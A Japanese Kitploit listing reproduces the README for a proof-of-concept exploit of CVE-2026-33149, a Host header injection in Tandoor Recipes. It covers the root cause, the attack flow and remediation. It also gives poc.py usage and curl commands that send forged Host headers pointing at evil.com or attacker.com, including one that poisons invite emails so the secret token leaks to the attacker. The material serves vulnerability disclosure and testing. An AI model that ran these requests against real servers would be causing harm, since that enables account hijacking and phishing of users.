Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-33149-PoC — CVE-2026-33149の概念実証エクスプロイト。Tandoor RecipesにおけるHostヘッダーインジェクションで、招待リンクのポイズニングとキャッシュポイズニングを可能にします。ホスト受入、ページネーション、スキーマ、招待ポイズニング用のモジュールを含みます。 | Kitploit
ツール/GitHubGitHub/filipegaudard/cve-2026-33149-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用フィッシングウェブセキュリティペネトレーションテスト
GitHubfilipegaudard/cve-2026-33149-poc

CVE-2026-33149-PoC

CVE-2026-33149の概念実証エクスプロイト。Tandoor RecipesにおけるHostヘッダーインジェクションで、招待リンクのポイズニングとキャッシュポイズニングを可能にします。ホスト受入、ページネーション、スキーマ、招待ポイズニング用のモジュールを含みます。

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-33149 — Tandoor Recipes における Host ヘッダーインジェクション

CVE-2026-33149 GHSA CVSS 8.1 CWE-644

Affected Version Responsible Disclosure


概要

Tandoor Recipes は settings.py 内でデフォルトの ALLOWED_HOSTS = '*' を設定しており、Django が HTTP Host ヘッダーのを検証なしで受け入れる原因となっています。このアプリケーションは、複数のセキュリティ上重要なコンテキストで絶対 URL を生成するために を使用しています。細工された ヘッダーを含むリクエストを送信できる攻撃者は、サーバーが生成するすべての URL を攻撃者が管理するドメインにリダイレクトさせることができます。

任意の値
request.build_absolute_uri()
Host

最も重大な影響は招待リンクのポイズニングです: 管理者がユーザー招待を作成すると、サーバーが送信するメールには攻撃者のドメインを指すリンクが含まれます。被害者が正規に見えるメールをクリックすると、招待トークンが流出し、攻撃者はそれを利用してアカウントプロビジョニングフローを乗っ取ります。

脆弱性の詳細

フィールド値
CVE IDCVE-2026-33149
GHSAGHSA-x636-4jx6-xc4w
CWECWE-644 — スクリプト構文に対する HTTP ヘッダーの不適切な無害化
CVSS v3.18.1 HIGH — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
影響を受けるバージョンTandoor Recipes ≤ 2.5.3
ベンダーTandoorRecipes/recipes

MITRE ATT&CK マッピング

テクニック ID名称関連性
T1557Adversary-in-the-Middleサーバー生成 URL を操作してトラフィックをリダイレクト
T1566.002Phishing: Spearphishing Linkポイズニングされた招待メールに攻撃者制御のリンクが含まれる

根本原因分析

1. ワイルドカード ALLOWED_HOSTS

ファイル: recipes/settings.py:118

root@kitploit:~
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*')  # default: wildcard

Django の ALLOWED_HOSTS は、Host ヘッダーをホワイトリストに対して検証するセキュリティ対策です。ワイルドカード '*' はこの検証を完全に無効化し、任意の値を受け入れます。

2. 招待メールにおける安全でない URL 生成

ファイル: cookbook/serializer.py:1852-1853

root@kitploit:~
message += _('Click the following link to activate your account: ') + self.context[
    'request'].build_absolute_uri(
    reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'

request.build_absolute_uri() は request.get_host() を使用して URL を構築します。ALLOWED_HOSTS が制限していない場合、これは生の Host ヘッダー値を返します。招待 UUID(秘密トークン)は、攻撃者を指す URL に埋め込まれます。

3. 追加の影響を受ける面

  • API ページネーション — DRF のページネーションクラスは next/previous URL に build_absolute_uri() を使用
  • OpenAPI スキーマ — スキーマジェネレーターはサーバー URL にこれを使用
  • キャッシュポイズニング — キャッシュプロキシを使用するデプロイメントでは、単一のリクエストでポイズニングされた URL が全ユーザーに配信されるリスク

攻撃フロー

root@kitploit:~
┌──────────┐     ① 細工されたリクエスト      ┌─────────────────┐
│ 攻撃者    │ ──────────────────────────────→│  Tandoor サーバー │
│          │   Host: attacker.com           │  ALLOWED_HOSTS=*│
└──────────┘                                └────────┬────────┘
                                                     │
                                          ② build_absolute_uri()
                                             "attacker.com" を使用
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │  SMTP サーバー  │
                                            └────────┬───────┘
                                                     │
                                       ③ ポイズニングされたリンクを含むメール:
                                       http://attacker.com/invite/<uuid>
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │    被害者      │
                                            │  (リンクをクリック)│
                                            └────────┬───────┘
                                                     │
                                          ④ UUID が攻撃者に送信
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │    攻撃者      │
                                            │ 実サーバーで    │
                                            │ UUID を使用    │
                                            └────────────────┘

概念実証

要件

  • Python 3.8+
  • requests ライブラリ
root@kitploit:~
pip install requests

使用方法

root@kitploit:~
# ベーシック認証で全検証モジュールを実行
python3 poc.py --target http://localhost:8085 \
               --basic-auth admin:password \
               --attacker evil.com \
               --module all

# セッションクッキーで全モジュールを実行
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module all

# 招待リンクのポイズニングのみ
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module invite \
               --email [email protected] \
               --group-id 1

モジュール

モジュール説明
host-acceptターゲットが任意の Host ヘッダーを受け入れることを検証(ALLOWED_HOSTS = '*')
paginationAPI ページネーション URL が注入されたドメインを反映することを確認
schemaOpenAPI スキーマのサーバー URL が注入されたドメインを反映することを確認
inviteポイズニングされた招待リンクを作成 — 主要な攻撃ベクトル
allすべてのモジュールを順次実行

手動検証(curl)

1. Host ヘッダーの受け入れ

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/user/ \
  -H "Host: attacker.com" \
  -u "admin:password"
# 期待値: 200 (脆弱) | 400 (パッチ適用済み)

2. ページネーション URL の反映

root@kitploit:~
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" \
  -H "Accept: application/json"
# 期待値: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}

3. スキーマ URL の反映

root@kitploit:~
curl -s http://TARGET:8085/api/schema/ \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# 期待値: http://evil.com/...

4. 招待リンクのポイズニング

root@kitploit:~
curl -s http://TARGET:8085/api/invite-link/ \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "X-CSRFToken: CSRF" \
  -H "Host: attacker.com" \
  -d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# 被害者はメールを受信: "Click: http://attacker.com/invite/<uuid>"

影響

影響領域説明深刻度
招待トークンの乗っ取り攻撃者がポイズニングされたメールリンク経由で招待 UUID を取得し、アカウントプロビジョニングを乗っ取るCritical
認証情報のフィッシング被害者は正規の登録ページを期待して攻撃者制御のドメインに誘導されるHigh
キャッシュポイズニングキャッシュプロキシを使用するデプロイメントでは、単一のポイズニングされたレスポンスが全ユーザーのキャッシュを汚染するHigh
API クライアントの誤誘導ページネーションとスキーマ URL が API 利用者を攻撃者のインフラにリダイレクトするMedium

修復策

即時修正

ALLOWED_HOSTS を設定して、有効なホスト名を明示的にリストします:

root@kitploit:~
# docker-compose.yml または .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost

多層防御

  1. リバースプロキシ検証 — Django に到達する前に、予期しない Host ヘッダーを持つリクエストを拒否するように Nginx/Apache を設定
  2. USE_X_FORWARDED_HOST = False — Django が信頼できないソースからの X-Forwarded-Host を信頼しないことを確認(デフォルトは False)
  3. SMTP リンクの強化 — request.build_absolute_uri() に依存する代わりに、メールリンク生成に明示的な SITE_URL 設定を使用

参考情報

  • GHSA-x636-4jx6-xc4w
  • CVE-2026-33149
  • CWE-644: Improper Neutralization of HTTP Headers
  • Django ALLOWED_HOSTS Documentation
  • MITRE ATT&CK T1557 — Adversary-in-the-Middle
  • MITRE ATT&CK T1566.002 — Phishing: Spearphishing Link

免責事項

この概念実証は、認可されたセキュリティテストおよび教育目的のみで提供されています。コンピュータシステムへの不正アクセスは違法です。著者は、このツールの誤用について一切の責任を負いません。


著者

Filipe Gaudard — Offensive Security Researcher | eWPT | eWPTx

  • GitHub: @FilipeGaudard
  • LinkedIn: Filipe Gaudard
ツールをダウンロード